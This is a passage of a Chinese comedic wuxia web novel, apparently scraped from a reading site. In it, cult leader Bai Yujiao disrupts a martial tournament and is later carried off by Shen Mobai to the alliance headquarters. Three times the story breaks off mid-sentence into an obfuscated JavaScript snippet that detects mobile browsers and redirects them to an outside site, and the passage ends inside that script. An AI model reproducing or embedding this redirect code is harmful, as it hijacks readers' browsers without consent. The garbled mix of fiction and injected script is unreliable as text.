没办法嘛,这人贱到了一定程度,面子神马的都犹如过眼云烟一般了,别人的唇枪舌剑对他来说都根本不痛不痒,这江湖已经没有什么能够阻止沈墨白犯贱了。 擂台赛在这一日的卯时正式开始。 擂台上,一边站着一袭紫色卷草纹锦衣的凤栖梧,他手里拿着那把惯用的乌竹骨扇,悠闲地一只手把玩着扇子,一只手背在身后,仿佛站上来不是比武的,而是来欣赏风景的。凤栖梧的对面,沈墨白悠然而立,他嘴角带着一抹自然的上扬,眼神飘渺,似笑非笑的。他正活动着手腕,那架势,似乎是想痛扁凤栖梧一顿。 双方都做好了准备,各位领导嘉宾也已经入席,司仪大哥瞅着时辰到了,于是从场中央退下,对着人群做了一个手势。 随着他一下挥下手,“呛”地一声巨响,擂台赛开始的锣声响起。 擂台赛就这样开始了? 那绝不能够,本座还没登场呢!就在凤栖梧和沈墨白同时亮招,准备冲上前去掐成一团的时候!变数途生! 一个略带慵懒的女人的声音,在这时候不紧不慢响了起来,“慢。” 众人纷纷扬起下巴,去寻找那声音的来源,就连擂台之上的凤栖梧和沈墨白也不约而同看了过去。 只见,剑香阁的房顶屋瓦上,一个一袭黑衣的女人抱着手臂,袅袅婷婷立在飞扬的屋檐之上,墨色的衣角翻飞,整个人一副乘风欲飞之姿。紧接着,这黑衣女人真的就飞了。她凌空,悠然跃起,仿佛踏着无形的阶梯一般,轻盈而优雅地一步步降落在擂台上。人群先是静默,就在她在擂台上站定,蓦然回眸一笑的时候,整个现场就像是炸开了锅一般,顿时乱了套。观众爆发出凄厉的尖叫声,争先恐后逃散,人群如同潮水一般向后退去。 因为,这站在台上的女人,不是别人,正是江湖第一流氓,不,是第一煞星,白玉蛟。 台面上,凤栖梧的脸色一瞬间变得很苦逼,他恶狠狠地瞪了沈墨白一眼,无声地控告:沈墨白你这货竟然告状。 沈墨白撇了撇嘴角,表示此事与我无关。 不出几秒之后,原本站在剑香阁里的大牌儿武林人士们,都纷纷涌了出来。各门各派的人一瞬间就把擂台整个包围起来,在擂台边缘摆开阵势。面对我这杀人狂,吃过无数次亏的武林正道们不敢贸然造次,只是摆开了攻击架势,妄图用夸张的阵仗吓跑我。 “白玉蛟!你想耍什么花样!”武当的老道长站在众人中间,手里的拂尘一甩,狠狠指向我。 我友好地微笑,双手一摊,“我什么花样也没耍啊……我和众位不是在剑门关已经定下了契约重修旧好么?照理说,化干戈为玉帛之后,我们应该是朋友才是。这样的武林盛会,怎么,不欢迎我这个朋友来参加么?” 我语落,所有人都不领情地一脸警惕地盯着我。 于是我眨了眨眼睛,作伤心状摇头,“哎呀,似乎……诸位大侠们,是不怎么懂得待客之道啊。” 青城派的姜掌门闻言,仰头假笑了几声,“白教主特地前来捧场,我等当然不会不欢迎。只是,您一来就跑到擂台上去打断了比武,似乎……是来意不善呐。” 他笑,我也跟着笑,一边笑一边花枝乱颤,“呵呵呵,您多虑了,我其实并没有什么恶意的。只是……”我话锋一转,换了个凶神恶煞的表情,“我白玉蛟这个人呢,别的都还好,就是脾性有点怪癖,是个小心眼儿。不瞒您说,当日在剑门关上,我被这个姓白的毛头小子打了一掌,心里一直都有些过不去……” 我话音没落,代表玉宇琼楼前来参加武林大会的人突然插话,“这么说来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349869|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是想对沈大侠不利?” 这男人我是见过的,三十出头,似乎是玉宇琼楼的三把手,叫白斩什么的……想不起来了,姑且叫白斩鸡好了。白斩鸡说话的时候神情阴鹜,目光里带着杀气,就像我欠了他八百万两白银似的。不过这也难怪,我们镜花宫本来就与玉宇琼楼是不共戴天的仇家。他们眼神狠,能狠得过我嘛?我每次回瞪他们,那眼神仿佛是他们抢了我四万万两白银似的! 我对他更加不客气,冷笑了一声,扔给他一个森冷得能冻死一头熊的眼刀,“怎么?你丫不服?不服来跟我打啊,我把你,打!服!为!止!” 白斩鸡顿时怒发冲冠,身体向前倾了一下,似乎是想拔剑冲上台来,但是被手下的人给拽住了。 这时候,少林的老和尚出来打圆场,“白施主,来者即是客,您作为客人,也当遵守客人的礼数。您不妨下来,与我等一同观赏这次比武。” 我看了他一眼,然后抬头目光扫视了一圈,最后懒洋洋,特无赖得扔出来俩字儿,“不行。” 武当老道长急了,又跳出来“唰唰”甩他手里的拂尘,兰花指一翘,怒道,“白玉蛟,你到底想怎样!” “其实我也不想怎么样,”我说着,忽然一闪身晃到了凤栖梧的背后,一下子亲昵地搂住凤栖梧的肩膀,“你们选武林盟主,又不是选天下武功第一,为什么要用打擂台的方式来比呢?” 众人看到我与凤栖梧那亲昵的动作,顿时都面面相觑开始私私窃语。 少林和尚叹了口气,合掌道,“此乃最公平的方式。” 我冷笑三声,“哈哈哈,公平?我可看不出哪里公平了,你们这帮名门正派就会耍这些小手段。我跟沈墨白可是交过手的,他的武功定然要高出凤公子许多。我倒要问问各位武林同盟的掌门们了,一场毫无悬念的擂台赛,到底有何可比的?又有何公平可言?” 擂台底下的众位掌门们,面面相觑,不知道该如何回答我的质疑。 随即,我扭头对着凤栖梧笑道,“凤公子,您踏雪无痕鸣凤公子的名号,我可是早就有耳闻了,今日得见公子,果然是气度不凡不负盛名啊。依我看,你才是这武林盟主的最合适人选……” 凤栖梧抬手,用力推了我一下想把我推开,然而我一个小擒拿手就化掉他的力气,顺便还搂住了他的胳膊,那动作比刚才更要亲昵。凤栖梧瞪着我,那眼神简直恨不得要吃了我,我听到他的手骨都被捏的“嘎吱”了一声。 我无辜地望着他笑,笑得特别纯良。 凤栖梧,你利用我?你跟我耍手段?你把我当什么?垫脚石? 哈哈,你敢踩我这大石头,就不怕我砸死你? 之前你得逞,那是我让着你,不跟你计较。这次惹恼了我,有你好看的。 得到我这个魔教教主的赏识,对于任何人来说都不算是种光荣,而是种负担。若是被怀疑与我有染,凤栖梧干脆就别再在江湖上混了,他苦心经营的这一世英明恐怕也会因此毁于一旦。 凤栖梧忍无可忍,瞪着我怒道,“白教主,你我素昧平生,你不必这样帮!我!”他把最后两个字咬得格外的重,那咬牙切齿地样子仿佛是想把我给嚼碎了。 我眨眨眼看着他的反应,心里一阵暗爽,于是不怒反而“咯咯咯”地笑起来。 “哎呀,小凤,人家就是中意你嘛,你可一定不能输给对面那个小兔崽子哦。” 我说这话的时候,台下的诸位大侠们都不由自主地打了个冷颤。而对面那个“小兔崽子”,一直面无表情得用复杂的目光注视着我。 “你到底想怎样!白玉蛟!”那边,一直被无视的白斩鸡暴走了,仰天咆哮了一声,声音在空旷的比武场回响了数声,一下子把整场都震住了。 我立即不笑了,慢慢活动了一下脖颈的筋骨,冷冷道,“我先说清楚,我今天不是来砸场子的!你们想要公平?好啊,我们就来个公平的比试!” 我说着,忽然脚步急移,一瞬间就站在了沈墨白面前,“啪啪”两下,点中了他的穴道。我点穴的时候,注入了两道内力进他的膻中穴,沈墨白瞬间闷哼了一声,捂住胸口,身体一下子滑落。他不得不单膝跪地一只手撑住地面,才勉强没有摔倒。 我狠狠瞥了他一眼。我说,你是虚弱到什么程度了啊?气血凝滞,如果我不帮你顺顺气儿,你再站半柱香估计就只有倒地任凤栖梧蹂躏的份儿了。 我看着沈墨白,居高临下道,“比武嘛,不仅仅可以比内家修为。我看这沈墨白沈大侠与凤栖梧凤公子的内功修为差得太多,比起来太有失公允,不如,今日就让他们比比手上功夫——是凤公子的扇子厉害,还是沈墨白手里那把剑更厉害。” 我说完,恰巧,沈墨白也抬头来看我。 目光交错的一瞬间,我看到他微微弯了弯嘴角,对我做了个口型“多管闲事”。 我翻了个白眼,别开眼睛不理他。 凤栖梧站在不远处,他微微低着头,眼神凶狠地瞪着我,嘴唇被自己咬得发白。我也看着他,面无表情挑了挑眉梢。你不是想封住内力么?好啊,我成全你。干脆大家就都不要使内力了,各凭本事打一场。 末了,凤栖梧盯着我,缓缓笑了。那是一种咬牙切齿,充满憎恨的扭曲笑意,看得人毛骨悚然。 我撇了撇嘴,别开了眼睛,也不去理他。 我说,凤栖梧这孩子到底内心是有多扭曲啊?这样的表情,看得我这个魔教教主都觉得心有余悸。这孩子真是被他老爹给教坏了,被他师傅给惯坏了,他这样下去,总有一天会踏上同话本里头的“岳不群”一样的不归路。 “诸位武林同道们,如果没什么意见,就按我说的办吧。”我扬手,袖子一甩,双手背在后面,然后目光缓缓巡视一圈儿,目光极度傲慢而目中无人。 突然,一个不知道哪个门派的小毛孩儿跳了出来,大叫了一声,“白玉蛟!你以为我们会眼睁睁看着你在这里胡作非为吗?我们……” 这江湖大了,真是什么怪鱼都有。这小毛孩一看就知道是初来乍到,毛都没长齐,不知道这江湖的险恶。 他话还没说完,就被我不耐烦地打断了,“咦?你不想看着?那是想让我把你眼睛挖出来吗?”我说着,换上一个颇为邪恶的笑容,捏了捏手骨,“好啊,左边开始,还是右边?” 那小子被吓得一哆嗦,左看看右看看,瞬间,所有人都往旁边避让,结果留下他一个人孤零零站在人群里。 毛头小子畏惧地缩了缩扭过头去,喃喃嘟囔,“那我还是自己把眼睛闭上吧……” 至此,在无人敢出来有所反驳。 最后,少林高僧无奈地叹了一口气,发话,“既然如此,那就照白施主所言而行吧。”他说着,隔空点了凤栖梧的穴道,封住他的内力,“白施主,您现在满意了吗?” 我点点头,笑道,“满意满意,我就知道诸位武林同道们都是讲道理的人。既然如此,天色不早了,我也该去用午膳了,我们回见。凤公子,若是你取得了盟主之位,改天可要摆桌酒席来谢谢我呦。” 我说完,对凤栖梧扔了一个媚眼,一撩衣摆,一提真气,人就像个鸟一样,掠过屋檐,跑没影了。 34. 小白,快点回爹地怀里 时间跳到半个月之后。 没错,不知道为何,时间就已经到了半个月之后。 当日,在武林盟主争夺一战,据说,战况那是想当惨烈。双方一开始就丝毫不留情面,招招都是直指要害的杀招,简直就如同是仇家见面,杀红了眼。什么风度什么礼节全都忘了干净了,由于双方都没有内力,这俩人如同市井里头的小混混一般,操刀互砍,招式乱得一塌糊涂。 沈墨白和凤栖梧拼得力竭,直到两败俱伤,才最终结束了这场争斗。 这场比武实在是太让人觉得匪夷所思,白玉蛟的突然现身让这个本来就劲爆的消息更是被抄得热翻了天。上到七旬老妇,下到幼齿儿童,街头巷尾家家在议论这场比试。走在路上,经常能看到光屁股的小孩儿拿着树枝相互比划,面目狰狞,嘴里还喊着:“凤栖梧!看我的庐山升龙霸!”“沈墨白!你死定了!九阴白骨爪!” 江湖上比较靠谱的说法,是“望春风”酒楼里的说书先生描述的那一版:沈墨白最后用剑柄敲碎了凤栖梧的膝盖骨,一次次按着他的脑袋往白玉石地板上撞,撞得血溅三尺,才最后让凤栖梧彻底再也没办法再站起来,最后结束了那场恶斗。 遥想当时的情景,我不禁觉得一阵脊背发麻,万般可惜没有看到现场表演。 后来,坊间就开始有传言说,其实沈墨白与凤栖梧之间因为某个神秘女子而早有嫌隙,而且在武林大会开赛之前,沈墨白就已经遭到了凤栖梧的暗害,被凤栖梧抓住了把柄来要挟。 不过,这一说只是八卦小道消息,两位当事人并未对此发表任何评论。只是,这人言可畏三人成虎,即便是谣言,经过一百人口中口口相传添油加醋,也渐渐变得可信起来。再加上擂台上白玉蛟对凤栖梧那暧昧的态度,很多人都开始怀疑凤栖梧是不是早就与白玉蛟有所勾结,一时间,凤栖梧的声誉一落千丈。 擂台赛一战之后,凤栖梧就如同是人间蒸发了一般,在了中原武林中消失得无影无踪。 这段时间,我一直过着花天酒地颠倒黑白的日子。 武林盟刚刚成立,各门各派都在向武林盟派遣人手,金陵城里各色武林门派的人往来不绝。据探子回报,沈墨白沈大盟主近日里勤于政务、夜夜挑灯夜战,忙得焦头烂额。这家伙表面上看去吊儿郎当,谁知还算个有责任心的人。接下了盟主之职,便真的“在其位而谋其政”,一个人承担下了武林盟中的大小事务。我安插在武林盟里面的属下汇报说:沈盟主他虽然总是一副不正经的样子,也爱拿手底下的人开玩笑,但是对情况判断准确,且行事雷厉风行,十分能够服众。上任短短几日,已经取得了属下的尊重,并且消弭了各个门派对他的不信任感。 他当他的盟主,我做我的流浪汉,互不搭理,我一个人乐得自在。 这天,寒冬腊月的,我裹着羊皮棉袄,围着狐裘的皮帽子,窝在一面馆里头吃面条儿。忽然,大门被一脚踹开,寒风瞬间从大门里往屋里狂灌。我抬起头,看到外头大摇大摆走进来三个地痞流氓打扮的人物。为首的人长得五大三粗,这大冷天的只穿了个羊毛大坎肩,露出肥硕的胳膊,胳膊上是左青龙,右白虎,肚皮上纹了锦毛鼠,走起路来横肉乱抖。 老板一看到这三个人,脸色顿时一变。他迅速收起账本,神色慌张地打发小二去迎接。伙计立马换上一副谄媚的模样,帮那三个人擦桌子拉板凳,“呦,这不是镜花宫的黄三爷么?今儿想来点儿啥?” 我瞥了他们一眼,端起碗来喝面汤。 老大左边的大汉一拍桌子,中气十足吼道,“给我一碗打卤面!” 老大右边的壮汉一踢椅子,横劲儿霸气道,“给我一碗鸡蛋面!” 老大,把腰间的大刀往桌子上一横,凶神恶煞道,“给我砸……” 他话音没落,小二和掌柜,吓得脸色煞白。旁边俩小弟对望了一眼,随即一下子抽刀而起,不分青红皂白,端起桌子拿起椅子一阵乒乒乓乓乱砸。一瞬间,店里的客人都尖叫着揣着钱包夺路而逃,我看他们吃了一顿霸王餐,个个跑的时候还都面露喜色,有几个人甚至是端着盘子往外跑。我抱着面碗,在混乱中从桌子底下钻过去,一直爬到了柜台后面,蹲在掌柜的旁边继续吸面条。 掌柜的抱着头蹲在我旁边,边抖边哭诉,“造孽啊造孽,这马上就年关了,我这点小本生意怎么经得起折腾……这群魔教……不得好死啊……” 等乒乒乓乓的声音停歇下来,我抱着面碗抬起头来。 只见,俩手下跑到坐在板凳上的老大面前邀功,结果,一人被老大狠狠赏了一惊天地、泣鬼神的大嘴巴。 老大唾沫横飞吼道,“你、你们俩小兔崽子干嘛!我、我还没说、说完呢!”老大歇了口气,吼道,“我、我要,砸、砸(炸)酱面!” 老大吼完,提溜着两个手下,骂骂咧咧扔下这一屋子狼藉,拍拍屁股走人了。 他们前脚刚走,顾染织后脚就走了进来。 “小姐,你没事吧?”顾染织走到柜台外,探头进来找我。 我抬眼看了他一眼,摇摇头,继续淡定吸面条。 等我吃完最后一口,我把碗搁在地上,用袖子擦了擦嘴角站起来,“阿织,你身上带银两了么?分给这大哥一点儿。” 顾染织闻言,从袖口里抽出一张不知道数额的银票,“唰”得一甩手,银票被一根筷子给钉在了掌柜背后柱子上。 掌柜被吓得面无血色,但是当他颤颤巍巍扭头看到银票上的数额上,一刹那,这个哥们就原地复活了似的,脸放红光,眼冒精光,整个人闪闪发光。 顾染织对掌柜露出一个春风拂面似的微笑,“掌柜,那几个人是镜花宫的?为什么在武林盟脚下的金陵,这些魔教的还敢为非作歹?” 掌柜的小心翼翼地把银票取下来,恭恭敬敬给顾染织作了个揖,叹息道,“镜花宫与武林同盟签订了契约之后,便不再对武林门派动手。我们这些小商小户的就成了下手的目标。各人自扫门前雪,武林里的人,哪里有那个闲心来管我们呐?只能自认倒霉了呗……” 从刚才那小铺走出来,顾染织跟在我身后,忽然弯下腰,凑近我的耳边问,“教主,对于这件事,您怎么看?” 我猛的一停,回头,皱着眉头,瞪了他一眼,“阿织!拜托你搞搞清楚!我们可是魔教,不是吃斋念佛的慈善机构!我们阻止着手下不让他们去跟名门正派的人械斗,难道还能阻止着他们空闲的时候不去抢劫吗?哎……”我叹了口气,摇摇头,换了个温和的表情,语重心长道,“大家都是热血方刚的年轻人,过剩的精力总要找点地方发泄,发泄到外头总比发泄在自己家里来得好。他们想抢想杀就随他们去吧,只要别闹出大乱子,咱就别管。” 顾染织闻言,嫣然一笑,“教主英明。” 看样子,他是故意想试探一下我的态度。难道他以为我跟沈墨白混了几天之后就能被感化得改邪归正了? 天方夜谭!先不说沈墨白他本就不是什么好鸟,如我这般的坏人,早就已经烂到骨子里,无药可救,就算是阿弥陀佛在世来点化我,我也不能立地成佛。 顾染织又道,“教主,刚才密使来报,幽州分教的人有要事求见。” 我脸瞬间拉得老长,“这些家伙,每天都来烦我,有完没完啊!谁叫你把我在这里的消息透露出去的!” 顾染织淡定回答,“是教主您自己在武林大会上现身暴露了行踪,属下并未将您身处何地透露给任何人。” 我语塞了三秒,最后哼了一声,傲娇兮兮翻了个白眼,“顾染织,你去告诉那帮没用的家伙,没事儿别来烦我!” 顾染织撇了一下嘴角,略带点笑意,反问,“那若是有事呢?” 我怒,“有事就更别来烦我了!” 顾染织抬手掩了一下唇,我知道这货在偷着乐。 “讨厌的家伙,”我横了顾染织一眼,然后一巴掌拍在他屁股上,尽显我猥琐本质,趁机揩油,“你去应付那些密使什么的吧,下午我去逛东市,你别跟着我了。” 顾染织往后略退了一小步,对我略微躬身,恭敬道,“是。恭送教主。” 我又回头瞪了他一眼。这死小子,存心讽刺我…… ··· 我一个人晃晃悠悠,溜溜达达,踱着方步十足老大爷的架势,一路从西市往东市溜达。就在我走到东市牌坊底下,即将一步迈进去的时候…… 我突然听到背后有人扯开嗓子,撕心裂肺喊了我一声,“小白——!” 那声音像叫魂似的,凄厉中带着哀恸,直觉告诉我,不要回头。 于是我假装啥也没听见,加快了步子往前走,迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349870|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速挤进人群里。东市现在正是热闹的时候,满街都挤满了挑着担子,摆地摊儿的人,我仗着自己体积小,东窜西窜,专门往人多的地方钻,溜得飞快。 就在我以为自己快要甩掉背后的人的时候,我一回头,发现那家伙竟然拿出了主妇们清仓大甩卖扫货的架势,状态全开,拼死向我的方向挤啊挤啊挤。 我被吓了一跳,暗骂一句,“这货属膏药的啊!这都甩不掉!”我一扭头,正巧看到一卖鸡蛋的摊子,顿时,计上心来。 “老板!”我突然窜到鸡蛋摊子旁,趴到卖鸡蛋老板的桌子边儿上。 老板是个长得像屠夫的彪形大汉,我眨巴着俩圆溜溜的大眼睛,对他笑眯眯地说,“你看到那边那个穿着白色衣服,用玉簪子束住头发的男人了吗?” 沈墨白此时正在我三米之外,他看到我正伸手指向他,于是喊了一句,“小白,你别跑!” 老板有些丈二和尚摸不着头脑,“咋了?” 我呲开牙齿,灿烂一笑,“那家伙是我爹。” 我说完,一手抓起俩鸡蛋,回身就是一个标准的棒球投掷动作,“啪啪”两声,那俩鸡蛋稳准狠,打在了沈墨白的脑壳上。 沈墨白只顾着向前挤,根本就没想到我竟然出手暗伤他。他一下火冒三丈,卷了袖子呲牙咧嘴就要过来教训我,“死丫头!你给我站住!你别跑!你死定了!” 切,我不跑还等着你来收拾我啊? 我对他做了个鬼脸,比了一下中指,撒丫子就溜。 沈墨白刚刚冲到鸡蛋铺子旁边,想继续追我,就被一硕大的不明物体一把抱住了大腿! 他回头,正迎上卖鸡蛋的大叔愤恨的目光,“别跑!给钱!” 我回头看着沈墨白那一头蛋清被一老爷们儿扑倒的模样,一边捂着嘴一边跑,笑得特别小人得志。结果,就在我一边回头一边向前走的时候,冷不丁,一头撞上了一堵“墙”。 我被撞得向后踉跄了一步,差点没一屁股跌坐在地上。撞我的那堵墙,适时伸出手来,扶了我一下。我抬起头来,第一眼看到的是面前那个家伙那锃亮反光的脑壳,然后看到脑壳上印着的那串儿状似九饼的香疤。 少林派? “你没事吧?”面前的秃驴开了口,声音柔柔低低的,听着还挺悦耳。 “没事儿。”我甩开他的手之后,才一眼瞟到他的脸。 紧接着,我脑海中猛然蹦出这么一句话:本座终于要长生不老了。因为,曾经江湖上流传这么一个传说:如果能在少林寺里看到美男子……便可长生不老。 下一秒,我闪电般地抓住了他的手指头,身体一歪,倒进他怀里,柔柔弱弱地吸了吸鼻子,“呜呜,哥哥,人家的脚好痛哦,刚才好像扭伤了……” “不要紧吧?”帅和尚蹲下来,让我靠在他怀里,正想撩起我的裤脚看看我的脚腕伤到了哪里,忽然背后响起了一个很贱很贱的声音。 “喂,雪鉴,抓住那死丫头别让她又跑了!” 几米外,沈墨白不顾一头一脸的鸡蛋清,火急火燎赶了过来。 我面前帅和尚握着我的脚腕,笑得特别温柔特别腹黑,“抓着呢,墨白兄,你不用急。” 我用力抽了一下脚,结果被帅和尚拉住,没能抽得出来。 我立马冷下脸来,万分鄙夷地翻了个白眼,嘟囔了一句,“切,连和尚都出卖色相……太卑鄙了……” 雪鉴蜀黍绅士而优雅地握着我的脚踝骨,笑道,“别调皮,小心受伤。” 我又用力扭动了一下,和尚叔叔依旧看着我笑而不语。 我是想大喊“非礼”,不过,就我这身板儿这模样,貌似根本没有让人家非礼的价值啊。这一来二去的耽误了时间,沈墨白便赶到了。沈墨白第一时间把我从雪鉴的怀里抢过去,熟门熟路抱起来,然后一把就把我的貂皮帽子抢了去,用来抹头发和脸上留着的蛋清。 我立马抱着脸颊惊声尖叫,“沈墨白你个败家子儿!你知道这帽子多少钱么!你就不能买颗白菜擦嘛!娘亲泉下有知会记恨你的!” 沈墨白一指点了我的哑穴,恶狠狠威胁道,“死丫头你给我老实一会儿,回头我再教训你!” 雪鉴在一旁看着发笑,用一种羡慕的口吻说,“墨白兄,你这个闺女,跟你的性子真是一模一样。” 35. 武林盟的幸福生活 于是乎,我不明不白就被沈墨白给捉回了武林同盟。 雪鉴是少林寺派驻武林同盟的人,现在任武林同盟的副盟主,另一个副盟主,是之前被沈墨白袭击了□□的萧暮山。武林同盟下设四个分堂,分别由峨眉、青城、武当和玉宇琼楼的人担任堂主。峨眉派堂主不用问,就是那位经常出来走场露脸的杜青娥,不过杜女侠貌似还挺忙,一般都是秦黛黛那丫头呆在武林盟里充数;青城派是个姓张中年男人,长得一张大众脸,一般人都叫他张掌柜的;武当派是个大叔,人到中年,气质沉稳。 沈墨白这次捉我回去,看来是不想放我走了。他抱着我非常拉风地风风火火迈进大门,穿过无数的轩榭楼阁不知道要上哪儿去。一路,我们碰上无数个武林盟的弟子,看到沈墨白,都恭敬地让道,并且对他鞠躬,顺便用好奇的目光打量我。武林同盟由武林倾力所建,的确是财大气粗。我觉得自己简直就是走进了一座小皇城。整个建筑群恢弘得令人发指,亭台楼阁一座接着一座让人目不暇接,而且建筑都是金黄的琉璃瓦配上青白石底座,阳光底下显得金光闪闪,王气十足。 最后,沈墨白领着我进了一个名为“枕剑”的院落,然后把我拖到耳室里,按在暖和的炕上坐下。 沈墨白哄小孩似的劝我留下,“小白,你一个人在金陵有什么意思?留在爹爹身边嘛,就算爹爹公务忙,也可以让武林盟里的叔叔阿姨陪你玩,你说这样不好么?” 我哼了一声,鼻孔朝天,不屑道,“去你的,我公务繁忙哪有空陪你们!更何况,不是你说要我走的吗?大丈夫一言既出,万死不悔。你这家伙说话怎么一天一个样啊?是不是大丈夫啊?” 沈墨白不愧是沈墨白,他一直在犯贱,从未被超越。此时,他厚颜无耻笑道,“是不是男人你不是试过了么?” 一直站在我们旁边的雪鉴帅哥,神色顿时僵硬了一下。 本座眼明心细,一瞬间就抓住了雪鉴的表情。心里暗爽:秃驴!任你再怎么腹黑,也是个没开过荤的和尚! 沈墨白捏捏我的脸颊,贼笑道,“我不是男人,你娘是怎么把你生出来的呀?恩?” “你滚一边儿去。”我白了他一眼,“你丫顶多外表是个男人,谁知道内在是个什么怪胎。你赶我走的那天不是说得清清楚楚了么?我走我的阳关道,你过你的奈何桥,你不用留我了,我意已决!再说了,住你这个武林盟里面,我也多有不便……” 沈墨白自然明白我所指的是自己每月十五变身的事情,他弯起嘴角,勾起一个特别意味深长的笑容。然后一只手放在我耳边,凑过来附在我耳边轻声说,“不就是一月一次的那个事儿么?没事的,我自有安排。” 他虽然是凑在我耳边说的,但是音量一点儿也没减小。 旁边的雪鉴听得一清二楚,不过和尚貌似性情特别纯良,听到这句话只是皱了皱眉头,露出了个疑惑的表情。 我顿时毛都炸起来了,一拳就朝他那张贱脸挥过去,“你才来大姨妈呢!你全家每月都都来一次大姨妈!” 我这厢和沈墨白正掐地起劲儿,忽然听到旁边雪鉴低着头,拳头凑在唇边,干咳了两声。 沈墨白一抬头,发现门口有几个人正排排站,神色各异地盯着我和沈墨白。 那门口戳着的不是别人,正是这武林盟的副盟主以及四大堂主。 沈墨白看到那四个人杵在门口,丝毫没有起身去招呼人家一下的意图。 他只是突然就俯下身一下扑在我背上,大手一环,把我拉到怀里搂着。 像只大狐狸似的特别亲昵地用脸蹭我的脖子,蹭得我直缩着脖子躲。 沈墨白用特别温柔的口吻道,“这是我家的闺女,小白。你们看看,她是不是长得特水灵特可爱?像不像我?” 我无语了一下下。喂喂,这家伙就不怕我变回去之后扭断他的脖子么? 我侧眼去瞥沈墨白,发现这家伙笑得一脸幸福,还真像个过度宠溺女儿的笨蛋老爹。 萧暮山,也就是那个与沈墨白有着一脚断子绝孙之仇的家伙,不知道啥时候已经跟沈墨白化干戈为哥们义气。一听沈墨白这么说,萧叔叔立刻露出非常羡慕的表情,目光炯炯盯着我,全身散发的慈爱气息让我一个激灵鸡皮疙瘩窜了一身。 忽然,杜青娥的背后又探出一颗脑袋。那脑袋的主人盯着我半晌,忽然指着我说话了,“咦?这小妹妹看着好生眼熟啊,似乎在哪儿见过呢!” 说话的人是秦黛黛。她是杜青娥的师妹,峨眉派这一辈中,辈分最小的一个。虽然她武功不咋地,但在江湖上也是个能排得上名号的家伙,因为,她有一个灰常响亮的名头——“江湖第一花痴”。 杜青娥听她这么一说,也立刻点头,“是啊,我也有这种感觉……”她说着,便手摸着下巴,一脸严肃把我从头到脚打量了个来回。 我被她盯得全身不舒服。忍不住往背后缩了缩。杜青娥这粗线条的家伙什么时候变得如此敏锐?莫非连她也看得出来我像白玉蛟……? 我要是在此时此地被爆出来与魔教有关,今儿,肯定是不能竖着走出这大门了。我想着,回头瞪沈墨白。默默用眼睛表达我内心的想法:都怪你!要不是你硬把我来回来……死了也要拉上你垫背! 沈墨白也看了我一眼,嘴角依旧带着轻松的微笑,黑白分明的眸子里没有丝毫慌张。他无声楼紧了我一点,似乎在示意我稍安勿躁。 忽然,杜青娥像是想起了什么,轻轻吸了口气,“啊,我知道了!我和这女孩儿在‘剑阁’见过!” 她背后的秦黛黛也露出恍然大悟的表情,双手合掌,笑道,“对了对了,我想起来了!是在剑阁!还有一个英俊的年轻剑客与她在一起呢!” 我神情松了一下。 靠,这俩丫头一惊一乍的,吓我一跳。原来是在剑阁的孽缘,本座素来记性不好,都快把在那里碰上她们峨眉派的事儿给忘了。这帮笨蛋女人,一个一个的,脑子不怎么好使,记性倒是都不错,都记住了些没用的东西。 我刚松了口气,忽然,秦妹子又来事儿了。 秦黛黛一只手抵着下唇,用疑惑的目光打量着我,“咦?我记得你不是说,你全家人都丧命在镜花宫手上,那个剑客是你唯一的亲人么?为什么,现在忽然又变成沈盟主的女儿了?” 我急急忙忙打马虎眼,“他是我认得……”“干爹”俩字儿还没说完,沈墨白就剽悍地把我给打断了。 “我这是为了掩人耳目。”沈墨白在我背后搂着我,轻轻叹息。微弱的气息全都喷在了我的脖子上,害我背后寒毛立即都精神抖擞地排排站。他那语气特别苦大仇深,给人留下了无限的想象空间。 萧暮山同志,别看人家是个彪形山东大汉,其实内心很是充满浪漫想象,自动就把情节给补全了。 他一锤手掌,说道,“俺知道了!这孩子一定是被魔教追杀,沈盟主在关键时刻救这孩子于危难之中,为了保护这个孩子,隐藏她的身份,才认她为自家闺女。” 萧暮山这么一说,周围的人都露出了然的神色,纷纷点头。他们正准备好好夸奖一下沈墨白筒子怎么英勇无畏怎么慈悲为怀的时候,忽然,沈墨白这小贱人贱贱地阻止了他们。 “不是那样的。”沈墨白一脸严肃地慢慢摇了摇头,“其实……小白她是……我家的童养媳……” 当沈墨白说到“我家的”的时候,我就隐隐觉得这货又欠了。于是,我在众人都还来不及反应的时候,毫不犹豫一下子蹦起来,凌空一个一百八十度转身,敏捷得左右赏了沈墨白一个双剑合璧的大嘴巴,一掌捂住他的嘴。 我死死捂住沈墨白的嘴,回头,对着萧暮山等人露出一个甜甜的纯良的微笑,“讨厌啦,沈大哥,你怎么总是这么爱开玩笑呀?你家人都死绝了,哪有什么童让我养啊?呵呵呵,事实其实就是萧蜀黍说得那样……我是为了躲避魔教,所以才认贼作父……” 众人默默看着我们俩,默默各自在心里进行脑补……后来,我就不明不白被留下来吃饭,留下来过夜……再后来,我就不明不白留在武林盟里长住了。 当夜,我就把顾染织打发回镜花宫剑阁总坛了。毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 